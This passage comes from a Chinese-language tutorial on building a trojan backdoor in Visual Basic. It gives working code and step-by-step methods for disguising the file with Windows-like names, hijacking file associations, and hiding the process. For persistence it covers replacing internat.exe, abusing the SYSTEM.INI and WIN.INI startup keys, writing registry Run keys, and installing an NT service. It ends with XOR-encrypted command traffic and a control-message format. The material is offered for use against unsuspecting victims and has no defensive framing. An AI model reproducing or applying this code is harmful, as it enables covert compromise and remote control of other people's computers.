Else
Path = App.Path & "\"
End If
End Function

‘获取系统目录(SYSTEM)路径
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Function SysPath() As String
SysPath = String(145, Chr(0))
SysPath = Left(SysPath, GetSystemDirectory(SysPath, 145)) & "\"
End Function

‘获取Window路径(WINDOWS系统目录)
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Function WinPath() As String
WinPath = String(145, Chr(0))
WinPath = Left(WinPath, GetWindowsDirectory(WinPath, 145)) & "\"
End Function

‘字符串替换(使用方法:输出=ModifyString(欲处理的字符串,原字符,替换字符),例如 strOut=ModifyString(strSource,"hello","你好"),表示把strSource变量里的“hello”替换为“你好”)
Public Function ModifyString(strModString As String, strSrc As String, sgnModify As Variant)
On Error Resume Next
If strSrc <> sgnModify Then
While InStr(strModString, strSrc) <> 0
strModString = Left(strModString, InStr(strModString, strSrc) – 1) & sgnModify & Mid(strModString, InStr(strModString, strSrc) + Len(strSrc))
Wend
End If
ModifyString = strModString
End Function
=========================================================

七、Win9x?Win2000?
由 于Windows的两个不同架构(Win9x、WinNT),导致了环境的差异,更雪上加霜的是MS在两个架构的系统里提供了某些会引发兼容问题的 API,例如RegisterServiceProcess这个用于注册系统服务的API,在9x环境里正常,在NT里则变成“找不到DLL入口”—— NT架构的系统服务概念和9x不同。又如涉及网络操作的一些API,9x里休想找到它们的影子。当你的程序调用了这些无法访问的API,立即就会崩溃,而 且死之前还会老实的弹出对话框暴露自己,落得个连诛九族……
当然,还有一个更重要的问题,那就是NT架构才有的NT服务(NT-Service),在下文会介绍。
因为有这些环境差异,我们不得不根据不同的环境设置不同的路标,这就需要判断系统类型了。Windows也有自知之明,给我们提供了GetVersionEx这个API。
=========================================================
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion(1 To 128) As Byte
End Type
Public Const VER_PLATFORM_WIN32_NT = 2&
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Function CheckIsNT() As Boolean
Dim OSVer As OSVERSIONINFO
OSVer.dwOSVersionInfoSize = LenB(OSVer)
GetVersionEx OSVer
CheckIsNT = OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT
End Function
=========================================================
如果CheckIsNT函数返回True,那就是NT/2000/XP没错了,接下来你应该知道如何对付Windows了吧。

八、我的马儿安家在哪里?
把 木马放在哪里能做到最大的隐蔽性是个难以肯定的答案,但是有一点可以直说!别自作聪明自己建立目录放木马,也别选敏感目录如Recycled、My Documents、TEMP、Local Settings、Fonts、Inf等,这些目录可以骗骗初学者,但是连中级水平的用户都能感觉到不对劲。我个人认为可以放在一些重要目录里,把文件名 起得专业一点,例如WINDOWS/WINNT、SYSTEM/SYSTEM32、JAVA(最好文件名里也有个JAVA)、Config、 Program Files\Common Files\SYSTEM等特殊目录,这样至少连中上水平的用户也要确认半天,当然有一半成功率还要看看你会不会起文件名,可以在Windows本身的一 些重要或者不常被人注意的文件名上打主意,例如原来有个mmtask.tsk那就来个mmtask.exe、有wupdmgr.exe就发展个 wupdmgr32.exe等,这些文件名起的迷惑性比一般的文件名大得多。当然你就不要起Notepad32.exe、scanregw32.exe、 scandskw32.exe这种常用程序的“32bit 克隆”名字了,只要不是非典型的用户,70%都会怀疑的……

九、喧宾夺主——更改并联
Windows下的文件并联无处不在,所以这里是个很好的市场哦。目前许多常见的木马都用了这个手法,让用户在不知不觉中反复执行木马程序,导致屡杀不尽!
其实在VB里,这个功能非常容易实现:
=========================================================
‘文件并联的代码
‘Author:小金(LK007) www.s8s8.net lk007@163.com
‘使用方法:SetFileAssociate 文件类型, 类型说明, 文件后缀
‘例如:SetFileAssociate "txtfile", "文本文件", ".txt"
‘/////////////////////////////////////////////////////////////
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetvalue Lib "advapi32.dll" Alias "RegSetvalueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const REG_SZ = 1

Sub SetFileAssociate(sKeyName As String, sKeyvalue As String, sFileAssoc As String)
On Error Resume Next
Dim ret As Long
Dim lphKey As Long
Dim sFileExec As String
sFileExec = App.Path & App.EXEName & ".exe " & """%1""" ‘注意是".exe "不是".exe"
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetvalue(lphKey, "", REG_SZ, sKeyvalue, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sFileAssoc, lphKey)
ret = RegSetvalue(lphKey, "", REG_SZ, sKeyName, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetvalue(lphKey, "DefaultIcon", REG_SZ, "%1", 2)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetvalue(lphKey, "shell\open\command", REG_SZ, sFileExec, Len(sFileExec))
ret = RegCloseKey(lphKey)
End Sub
=========================================================
注意,经过这样修改后,文件就必须由你的程序来负责处理了,我们需要在Form_Load或Main里加入下面给出的“文件打开方式重定向”代码,否则就弄巧成拙了,注意这段代码中的文件后缀判断语句。
=========================================================
‘在Form_Load或Main加入 (以TXT并联为例)
On Error Resume Next
Dim CommandLine As String
CommandLine = Trim$(Command$)
If CommandLine <> "" Then
If InStr(CommandLine,".txt") <> 0 Then Shell("notepad.exe " & CommandLine
Else
End If
=========================================================
这个方法的破绽:细心的用户会注意到,被更改了并联的文件类型打开速度变慢了,这是因为VB代码的执行效率比较低,而且Shell又消耗了一些额外时间,没有优化的方法。我们只能祈祷马场主是个超级马大哈……

十、隐藏进程
在Windows 中按ALT+DEL+CTRL会出现任务管理器,一切普通进程都能在里面看到,这样也会暴露我们的后门程序,因此必须给它来个障眼法。Win9x/Me提 供了一个API——RegisterServiceProcess,它的作用是把一个进程提升为“系统服务”,这样的进程在任务管理器里不可见。 Win2000/XP里没有提供这个API,因为两种系统架构不同,“服务”的概念也不同,在NT架构里,使用一种称为“NT-Service”的技术来 区分一般进程和服务程序,在第5期有文章介绍,这里也不细说了,NT-Service部分资料请看第十一小节。
VB代码如下,它很简单,用GetCurrentProcessId获取自身进程标识后调用RegisterServiceProcess转型为系统服务:
=========================================================
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Sub MakeAsService()
Dim pid As Long
pid = GetCurrentProcessId()
RegisterServiceProcess pid, 1
End Sub
=========================================================
除了注册为系统服务,还有个更简单的方法是把程序的任务标题改为系统进程的名字,如Rundll32、mmtask、Rnaapp、WinOldApp等,如果你实在够懒,可以试试看……
十一、启动模式
要想木马能随时为你服务,就必须让它自己跟随系统启动,除了木马启动禁地——开始菜单的“启动”组不在考虑范围,我们还有几个方法让它自己爬起来。

1.Windows下的启动——替换程序篇
如果你认为躲躲藏藏不如反客为主来得豪气些的话,可以用这招,把Windows自身的一些非重要而又跟随系统启动的程序换掉。
不知道为什么,Windows用于切换输入法的程序internat.exe成为了这种行为的最大受害者,那么我就用它来举例说明一下这种方法的详细操作,替换其他程序的方法也差不多。
(1).木马程序查找并杀掉internat.exe进程;
(2).用Name函数把原来的internat.exe改名,必要时用FileCopy把internat.exe改名复制到另外目录(深层目录比较好);
(3).把自身复制到internat.exe所在的目录,名称为internat.exe;
(4).程序的初始化代码段必须加上一句Shell函数用以启动原来的internat.exe:Shell [被改名的internat.exe],vbNormalNoFocus。

2.目录遍历
Windows在目录遍历时依据从外到里的方式,如果用户未指定一个程序的路径信息,Windows会按照从系统盘根目录到系统目录的顺序寻找文件。例如在开始菜单的运行里输入msconfig,Windows在后台的操作是:
1.定位到系统盘根目录(如C:\),检查文件是否存在
2.如果在根目录没有发现文件,Windows根据环境变量信息进入系统目录查找
3.如果在系统目录里找不到,则进入更深一层的重要目录(SYSTEM目录)查找
4.如果找到文件,则执行它,查找过程结束。如果遍历Windows认得出的所有目录(由注册表的环境变量决定)仍然找不到文件,就返回“找不到文件%s”
这些步骤可以用一个循环来表达:
===================================================
For i=0 To (Environment.count-1)
If FileExists(Environment.Path(i)) Then
Found = 1
Shell(Environment.Path(i) & RunFile,vbNormalFocus)
Exit For
Else
End If
Next
If Found = 0 Then MsgBox "找不到文件" & RunFile
===================================================
其中的Environment.Path(i)可能包含这些路径信息,注意看数组序号和路径的关系:
Environment.Path(0) = "C:"
Environment.Path(1) = "C:\WINDOWS" Or "C:\WINNT"
Environment.Path(2) = "C:\WINDOWS\SYSTEM" Or "C:\WINNT\SYSTEM32"
根 据Windows目录遍历的特点,我们可以把木马程序文件名改为某个默认随系统启动而且没有指明详细路径信息的程序,并把自身放在原程序所在的“上一层” 目录,例如C:\WINDOWS是C:\WINDOWS\SYSTEM的上一层目录。这样,Windows就会把木马程序启动,而忽略了“深闺处”的原程 序,所以我们的木马程序必须在启动时好心替Windows执行一下被忽略的原程序。
目前比较容易被忽略的程序有:inetnat.exe、 SysTray.exe、 taskmon.exe 等。
如果一个默认自启动的程序已经设置了路径信息,是否就意味着我们必须放弃?不一定,别忘了可以修改注册表,把详细路径字符串去掉。详细请看第4小节,把sApplication变量设置为不带任何路径信息的单独文件名即可。

3.Win9x/Me下的启动——INI篇
INI(配置文件)是一种特殊格式的文本文件,它主要用于保存程序的配置信息,这里就不做详细介绍了。WIN.INI和SYSTEM.INI是从Win3.1遗留下来的产物,Win9x/Me仍然比较完整的保留了,而2000/XP则有改动。
INI文件由一个或多个部分(section)组成,每个section下面存在多个关键字(Keyword)和值(value),它们共同负责配置一个程序的环境,表现形式如下:
===================================================
[section1]
keyword1=valuel
keyword2=value2
……………

[section2]
keyword1=value1
keyword2=value2
……………
===================================================
打开WIN.INI和SYSTEM.INI,会看到最前面的开头部分有这些字符串:
===================================================
SYSTEM.INI:
[boot]
shell=Explorer.exe
system.drv=system.drv
drivers=mmsystem.dll power.drv
user.exe=user.exe

WIN.INI:
[windows]
load=
NullPort=None
DefaultQueueSize=32
===================================================
注 意看[boot]的shell关键字和[windows]的load关键字,这里就是Windows的自启动程序加载的信息,也给木马留了个大门。 [boot]的shell用于加载GUI外壳程序,如果这里的值被乱改了,你将看不到下次启动的桌面;[windows]的load在刚显示GUI界面的 时候执行程序。所以执行程序优先顺序为:[windows]load —> [boot]shell
而这两个关键字允许用户添加多个用 空格分开的值,这是个很好利用的要处,为什么这样说呢?如果它们只支持一个值,那么我们就不能打[boot]shell的主意,因为替换掉外壳程序的加载 值后,Windows就玩完了,但是,既然它支持多个值,我们就可以让Windows加载外壳的时候顺便也启动我们的后门。
例如,把木马程序MyApp.exe加入shell,正确的表达式必须是 shell=Explorer.exe MyApp.exe 而不是 shell=MyApp.exe
在VB里用下列代码完成一个完整的读写INI操作:
===================================================
‘Code by www.s8s8.net LK007
‘————————————————
Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long
Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Function WriteString(IniFileName As String, Section As String, key As String, value As String) As Boolean
WriteString = False
If WritePrivateProfileString(Section, key, value, IniFileName) = 0 Then Exit Function
WriteString = True
End Function

Function ReadString(IniFileName As String, Section As String, key As String) As String
Dim ReturnStr As String
Dim ReturnLng As Long
ReturnStr = Space(255)
ReturnLng = GetPrivateProfileString(Section, key, vbNullString, ReturnStr, 255, IniFileName)
ReadString = Trim$(Left$(ReturnStr, ReturnLng))
End Function
=======================
============================
可 以直接用WriteString(WinPath & "system.ini", "boot", "Shell", "Explorer.exe " & App.EXEName & ".exe")和WriteString(WinPath & "win.ini", "windows", "load", App.EXEName & ".exe")来写入SYSTEM.INI和WIN.INI,注意这两个文件均在Windows根目录下。写入SYSTEM.INI时一定要记得别遗漏了 原来的外壳程序。WriteString函数返回一个表示写入是否成功的布尔值。
为了更准确的判断程序是否已经添加数据了,我们最好读取刚写入的 INI来确认:ReadString(WinPath & "system.ini", "boot", "Shell")和ReadString(WinPath & "win.ini", "windows", "boot"),返回的字符串里如果带有你的木马程序名,恭喜你,成功了。

4.Windows下的启动——注册表篇
注册表是Windows的重要组成部分,它不仅包含了齐全的软硬件信息、配置数据,也提供了自启动程序的入口,所以这里也是大多数木马喜欢依靠的地方。关于注册表的构成和详细资料,请大家自己另找资料,这里不做介绍。
一般木马主要集中在下列几处:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
全局的启动项,此主键下的值在Shell加载完成(桌面图标显示、任务栏出现)后执行。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
全局的启动项,此主键下的值在GUI初始化完成(Windows桌面刚出现,Shell未加载)时执行。Win2000/XP里没有此主键。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
仅在当前用户登录后,Shell加载完成时执行。

下面给出代码:
===================================================
‘自启动
‘使用方法:AutoRun([用户类型{0,1}],[启动顺序{0,1}],[键值说明{string}])
‘例如:AutoRun(0,0,"Hello")表示在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices写入一个名称为Hello的键值

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002

Sub AutoRun(iType As Integer,iStart As Integer,sAppName As String)
Dim sKeyName As String
Dim sKeyvalue As String
Dim Ret As Long
Dim lphKey As Long
Dim sApplication As String
Dim RegSetKey As Long
Dim hKey As Long
sApplication = Trim$(App.Path) & "\" & Trim$(App.EXEName & ".EXE")
If iStart = 0 Then
sKeyName = "Software\Microsoft\Windows\CurrentVersion\RunServices"
Else
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run"
End If
‘设置自启动项
sKeyvalue = sApplication
If iType = 0 Then
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, sKeyName, lphKey)
Else
Ret = RegCreateKey(HKEY_CURRENT_USER, sKeyName, lphKey)
End If
Ret = RegSetvalueEx(lphKey, sAppName, 0, 1, ByVal sKeyvalue, Len(sKeyvalue))
Ret = RegCloseKey(lphKey)
End Sub
===================================================

5.Win2000/XP下的启动——NT-Service篇
由于2000/XP强大的任务管理功能,在9x/Me中无法看到的进程,在2000/XP里暴露无遗,而且Win2000/XP也取消了RegisterServiceProcess这个API,因为两个系统里“服务”的概念不同。
NT 架构采用一种称为“NT-Service”的技术来实现类似UNIX系统的守护进程功能,可以简单理解成跟随系统启动后,无论用户是否登录注销都一直运行 着的进程(你见过有哪台服务器是整天开着 GUI界面的吗?),具体介绍请看第5期TOo2y的文章。服务控制管理器(Service Control Manager)是NT服务的核心。
采用NT-Service方式启动的程序不会在任务管理器里显示,而且不会因为用户的注销而停止运行,因此在2000/XP里使用NT-Service编程可以同时实现高质量的自启动和隐藏进程。
微 软并不推荐用VB写NT-Service,理由是不稳定,但是经过我实际测试,证实VB写的NT-Service可以稳定的持续运行很久,就是在服务控制 上有点问题,例如不能用net pause、net stop来处理,会返回“没有响应操作”信息,也许是我的处理函数有问题。
VB写NT- Service有几个方法,一种是用ActiveX,这里不推荐;另一种是通过一个Type Library文件(VB里用于引入外部成员函数的一种方式)和线程代码实现,这样生成的EXE至少在52KB以上;第三种是完全API写SCM代码,这 里仅推荐这种方法。
NT-Service入口必须写在Main()函数里,并且用Main()启动程序,不能写在窗体代码里,SCM找不到 Service入口会造成程序无法启动成为NT-Service。一些函数是固定的,不能随意更改,如ServiceMain函数,它负责整个NT- Service执行和管理。
程序代码不能放在NT-Service循环体内(除非是计数变量,否则会造成代码死循环),而是在Main()的 StartServiceCtrlDispatcher后加入处理代码或者加载窗体。注意必须检测系统是否为NT类型,否则一样会冒出个“找不到DLL入 口”,然后程序崩溃-_-b

VB代码(代码比较长,文章附源代码文件):
===================================================
Public Const SERVICE_WIN32_OWN_PROCESS = &H10&
Public Const SERVICE_WIN32_SHARE_PROCESS = &H20&
Public Const SERVICE_WIN32 = SERVICE_WIN32_OWN_PROCESS + _
SERVICE_WIN32_SHARE_PROCESS

Public Const SERVICE_ACCEPT_STOP = &H1
Public Const SERVICE_ACCEPT_PAUSE_CONTINUE = &H2
Public Const SERVICE_ACCEPT_SHUTDOWN = &H4

Public Const SC_MANAGER_CONNECT = &H1
Public Const SC_MANAGER_CREATE_SERVICE = &H2
Public Const SC_MANAGER_ENUMERATE_SERVICE = &H4
Public Const SC_MANAGER_LOCK = &H8
Public Const SC_MANAGER_QUERY_LOCK_STATUS = &H10
Public Const SC_MANAGER_MODIFY_BOOT_CONFIG = &H20

Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SERVICE_QUERY_CONFIG = &H1
Public Const SERVICE_CHANGE_CONFIG = &H2
Public Const SERVICE_QUERY_STATUS = &H4
Public Const SERVICE_ENUMERATE_DEPENDENTS = &H8
Public Const SERVICE_START = &H10
Public Const SERVICE_STOP = &H20
Public Const SERVICE_PAUSE_CONTINUE = &H40
Public Const SERVICE_INTERROGATE = &H80
Public Const SERVICE_USER_DEFINED_CONTROL = &H100
Public Const SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED Or _
SERVICE_QUERY_CONFIG Or _
SERVICE_CHANGE_CONFIG Or _
SERVICE_QUERY_STATUS Or _
SERVICE_ENUMERATE_DEPENDENTS Or _
SERVICE_START Or _
SERVICE_STOP Or _
SERVICE_INTERROGATE Or _
SERVICE_USER_DEFINED_CONTROL)

Public Const SERVICE_DEMAND_START As Long = &H3

Public Const SERVICE_ERROR_NORMAL As Long = &H1

Public Enum SERVICE_CONTROL
SERVICE_CONTROL_STOP = &H1
SERVICE_CONTROL_PAUSE = &H2
SERVICE_CONTROL_CONTINUE = &H3
SERVICE_CONTROL_INTERROGATE = &H4
SERVICE_CONTROL_SHUTDOWN = &H5
End Enum

Public Enum SERVICE_STATE
R>SERVICE_STOPPED = &H1
SERVICE_START_PENDING = &H2
SERVICE_STOP_PENDING = &H3
SERVICE_RUNNING = &H4
SERVICE_CONTINUE_PENDING = &H5
SERVICE_PAUSE_PENDING = &H6
SERVICE_PAUSED = &H7
End Enum

Public Type SERVICE_TABLE_ENTRY
lpServiceName As String
lpServiceProc As Long
lpServiceNameNull As Long
lpServiceProcNull As Long
End Type

Public Type SERVICE_STATUS
dwServiceType As Long
dwCurrentState As Long
dwControlsAccepted As Long
dwWin32ExitCode As Long
dwServiceSpecificExitCode As Long
dwCheckPoint As Long
dwWaitHint As Long
End Type

Public Declare Function OpenSCManager Lib "advapi32.dll" Alias _
"OpenSCManagerA" (ByVal lpMachineName As String, _
ByVal lpDatabaseName As String, ByVal dwDesiredAccess As Long) As Long
Public Declare Function CloseServiceHandle Lib "advapi32.dll" (ByVal hSCObject _
As Long) As Long
Public Declare Function OpenService Lib "advapi32.dll" Alias "OpenServiceA" _
(ByVal hSCManager As Long, ByVal lpServiceName As String, _
ByVal dwDesiredAccess As Long) As Long
Public Declare Function StartService Lib "advapi32.dll" Alias "StartServiceA" _
(ByVal hService As Long, ByVal dwNumServiceArgs As Long, _
ByVal lpServiceArgVectors As Long) As Long
Public Declare Function ControlService Lib "advapi32.dll" (ByVal hService As _
Long, ByVal dwControl As Long, lpServiceStatus As SERVICE_STATUS) As Long
Public Declare Function StartServiceCtrlDispatcher _
Lib "advapi32.dll" Alias "StartServiceCtrlDispatcherA" _
(lpServiceStartTable As SERVICE_TABLE_ENTRY) As Long
Public Declare Function RegisterServiceCtrlHandler _
Lib "advapi32.dll" Alias "RegisterServiceCtrlHandlerA" _
(ByVal lpServiceName As String, ByVal lpHandlerProc As Long) _
As Long
Public Declare Function SetServiceStatus _
Lib "advapi32.dll" (ByVal hServiceStatus As Long, _
lpServiceStatus As SERVICE_STATUS) As Long
Public Declare Function CreateService _
Lib "advapi32.dll" Alias "CreateServiceA" _
(ByVal hSCManager As Long, ByVal lpServiceName As String, _
ByVal lpDisplayName As String, ByVal dwDesiredAccess As Long, _
ByVal dwServiceType As Long, ByVal dwStartType As Long, _
ByVal dwErrorControl As Long, ByVal lpBinaryPathName As String, _
ByVal lpLoadOrderGroup As String, ByVal lpdwTagId As String, _
ByVal lpDependencies As String, ByVal lp As String, _
ByVal lpPassword As String) As Long
Public Declare Function DeleteService _
Lib "advapi32.dll" (ByVal hService As Long) As Long

Public hServiceStatus As Long
Public ServiceStatus As SERVICE_STATUS

Public Const SERVICE_NAME As String = "NT-Service" ‘服务名

Sub ServiceMain(ByVal dwArgc As Long, ByVal lpszArgvAs Long)
Dim B As Boolean
Dim U As Long
Dim Z As Long
‘初始化
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS
ServiceStatus.dwCurrentState = SERVICE_START_PENDING
‘设置状态
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP _
Or SERVICE_ACCEPT_PAUSE_CONTINUE _
Or SERVICE_ACCEPT_SHUTDOWN
ServiceStatus.dwWin32ExitCode = 0
ServiceStatus.dwServiceSpecificExitCode = 0
ServiceStatus.dwCheckPoint = 0
ServiceStatus.dwWaitHint = 0

hServiceStatus = RegisterServiceCtrlHandler(SERVICE_NAME, _
AddressOf Handler)
ServiceStatus.dwCurrentState = SERVICE_START_PENDING
B = SetServiceStatus(hServiceStatus, ServiceStatus)

ServiceStatus.dwCurrentState = SERVICE_RUNNING
B = SetServiceStatus(hServiceStatus, ServiceStatus)
End Sub

Sub Handler(ByVal fdwControl As Long)

Dim B As Boolean
Dim U As Long

Select Case fdwControl

Case SERVICE_CONTROL_PAUSE
ServiceStatus.dwCurrentState = SERVICE_PAUSED

Case SERVICE_CONTROL_CONTINUE
ServiceStatus.dwCurrentState = SERVICE_RUNNING

Case SERVICE_CONTROL_STOP
ServiceStatus.dwWin32ExitCode = 0
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING
ServiceStatus.dwCheckPoint = 0
ServiceStatus.dwWaitHint = 0
B = SetServiceStatus(hServiceStatus, ServiceStatus)
ServiceStatus.dwCurrentState = SERVICE_STOPPED

Case SERVICE_CONTROL_INTERROGATE
Case Else
End Select
B = SetServiceStatus(hServiceStatus, ServiceStatus)

End Sub

Function HandlerEx(ByVal command As Long) As Boolean
Dim hSCM As Long
Dim hService As Long
Dim res As Long
Dim lpServiceStatus As SERVICE_STATUS

If command < 0 Or command > 3 Then Err.Raise 5

hSCM = OpenSCManager(vbNullString, vbNullString, GENERIC_EXECUTE)
If hSCM = 0 Then Exit Function

hService = OpenService(hSCM, SERVICE_NAME, GENERIC_EXECUTE)
If hService = 0 Then GoTo CleanUp

Select Case command
Case 0
res = StartService(hService, 0, 0)
Case SERVICE_CONTROL_STOP, SERVICE_CONTROL_PAUSE, _
SERVICE_CONTROL_CONTINUE
res = ControlService(hService, command, lpServiceStatus)
End Select
If res = 0 Then GoTo CleanUp

ServiceCommand = True

CleanUp:
If hService Then CloseServiceHandle hService
CloseServiceHandle hSCM

End Function

Function FncPtr(ByVal fnp As Long) As Long
FncPtr = fnp
End Function

Sub Main()
On Error Resume Next
Dim hSCManager As Long
Dim hService As Long
Dim ServiceTableEntry As SERVICE_TABLE_ENTRY
Dim B As Boolean
Dim cmd As String
Dim U As Long

cmd = Trim(LCase(command()))
Select Case cmd
Case "-uninstall"
If CheckIsNT = False Then End: Exit Sub
hSCManager = OpenSCManager(vbNullString, vbNullString, _
SC_MANAGER_CREATE_SERVICE)
hService = OpenService(hSCManager, SERVICE_NAME, _
SERVICE_ALL_ACCESS)
DeleteService hService
CloseServiceHandle hService
CloseServiceHandle hSCManager
End

Case "-install"
If CheckIsNT = False Then Load frmMain: Exit Sub
‘安装NT-Service
hSCManager = OpenSCManager(vbNullString, vbNullString, _
SC_MANAGER_CREATE_SERVICE)
hService = CreateService(hSCManager, SERVICE_NAME, _
SERVICE_NAME, SERVICE_ALL_ACCESS, _
SERVICE_WIN32_OWN_PROCESS, _
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, App.Path & "\" & App.EXEName & ".EXE", vbNullString, _
vbNullString, vbNullString, vbNullString, _
vbNullString)
CloseServiceHandle hService
CloseServiceHandle hSCManager
DoEvents
Shell Path & App.EXEName & ".EXE" ‘重新启动EXE
End

Case Else
‘启动NT-Service
If CheckIsNT = False Then Load frmMain: Exit Sub
ServiceTableEntry.lpServiceName = SERVICE_NAME
ServiceTableEntry.lpServiceProc = FncPtr(AddressOf ServiceMain)
B = StartServiceCtrlDispatcher(ServiceTableEntry)
Load frmMain ‘加载窗体,开始运行程序主体
End Select
End Sub
===================================================
十二、报文加密和报文格式
由于木马有时候传输的是敏感信息,而且数据包会被拦截分析,因此必须尽量少用不经过任何处理的明文传递数据,而是把明文数据加密成乱字符密文后发送,确保不被人伪造假命令或者窃取信息。
加密的思路其实不用很复杂,只要把它理解为货物出站时加一个包装箱,接收方拿到货物后打开箱子就可以了,只需在send时把字符串进行加密(Encrypt)就可以,对方recv后立即解密(Decrypt)就得到原始数据,接下来如何处理就看后面的代码了,例如:
===================================================
‘加密后发送数据
rc = Encrypt(rc, "a") ‘加密
SendData wParam, rc

‘接收并解密
Do
szBuf = String(256, 0)
lRet = recv(wParam, ByVal szBuf, Len(szBuf), 0)
If lRet > 0 Then sData = sData + Left$(szBuf, lRet)
Loop Until lRet <= 0
sData = Decrypt(sData, "a")
sData = Trim$(sData)
===================================================

加 密的方式有很多种,具体用哪种并不重要,重要的是,这种加密是否很容易被破译,最简单的一种方法是把原始数据的每个字符ASCII代码都减去1,这样出来 的数据也可以算是面目全非了,接收后再把它们的ASCII值加上1即可。但是要想做比较强的加密,我推荐用密钥加密,破译的难度至少大一些。

VB代码:
===================================================
‘解密
Function Decrypt(PlainStr As String, key As String)
Dim Char As String, KeyChar As String, NewStr As String
Dim Pos As Integer
Dim i As Integer, Side1 As String, Side2 As String
Pos = 1

If Len(PlainStr) Mod 2 = 0 Then
Side1 = StrReverse(Left(PlainStr, (Len(PlainStr) / 2)))
Side2 = StrReverse(Right(PlainStr, (Len(PlainStr) / 2)))
PlainStr = Side1 & Side2
End If

For i = 1 To Len(PlainStr)
Char = Mid(PlainStr, i, 1)
KeyChar = Mid(key, Pos, 1)
NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))
If Pos = Len(key) Then Pos = 0
Pos = Pos + 1
Next i

Decrypt = NewStr
End Function

‘加密
Function Encrypt(PlainStr As String,key As String)
Dim Char As String, KeyChar As String, NewStr As String
Dim Pos As Integer
Dim i As Integer, Side1 As String, Side2 As String
Pos = 1

For i = 1 To Len(PlainStr)
Char = Mid(PlainStr, i, 1)
KeyChar = Mid(key, Pos, 1)
NewStr = NewStr & Chr(Asc(Char) Xor Asc(KeyChar))
If Pos = Len(key) Then Pos = 0
Pos = Pos + 1
Next i

If Len(NewStr) Mod 2 = 0 Then
Side1 = StrReverse(Left(NewStr, (Len(NewStr) / 2)))
Side2 = StrReverse(Right(NewStr, (Len(NewStr) / 2)))
NewStr = Side1 & Side2
End If

Encrypt = NewStr
End Function
===================================================

除 了加密,报文的格式也是重要的。没有制作经验的初学者往往不明白格式的重要性,而是直接把数据不加修饰的发送出去,如果功能少点还可以,如果功能多了,出 错的机会也就大了。有的新手直接把汉字或其他非英文字符直接发出去,这更会引起不必要的麻烦,因为全世界并不是只有中国,也不是只有中文Windows, 世界上还有韩文Windows、英文Windows等不支持中文内码的操作系统,它们会导致你的木马返回的数据变成乱码,正如在中文Windows上运行 BIG5内码程序或日文内码程序一样。
没必要为报文格式定个标准,只要是自己处理起来方便的就可以。例如下面的报文:

HBUTROJAN/…/550/…/NOTWRITE/…/c:\windows\win.ini

我用“/…/”划分这个报文区域,因为这样的分割标记不容易被一些例外数据干扰,把分隔符去除后得到:

[前导标记] [ASCII代码] [信息1] [信息2]

客户端/服务端程序接收翻译部分代码的分解:
1.[前导标记] 预先定义为HBUTROJAN,如果用InStr或Left得不到这个数据,则表示程序接收到的数据并非服务端/客户端发送来的,跳出处理过程。如果含有这个标记,则进行下一个区域的处理。
2.[ASCII代码] 用数字做标识码,分别对应不同情况,例如200代表正常,404代表文件未找到,550表示权限拒绝等。
3.[信息1] 这里用于进一步解释返回的数据含义。
4.[信息2] 补充说明。
所以HBUTROJAN/…/550/…/NOTWRITE/…/c:\windows\win.ini经过翻译后可以知道要表达的是:无法写入文件 c:\windows\win.ini
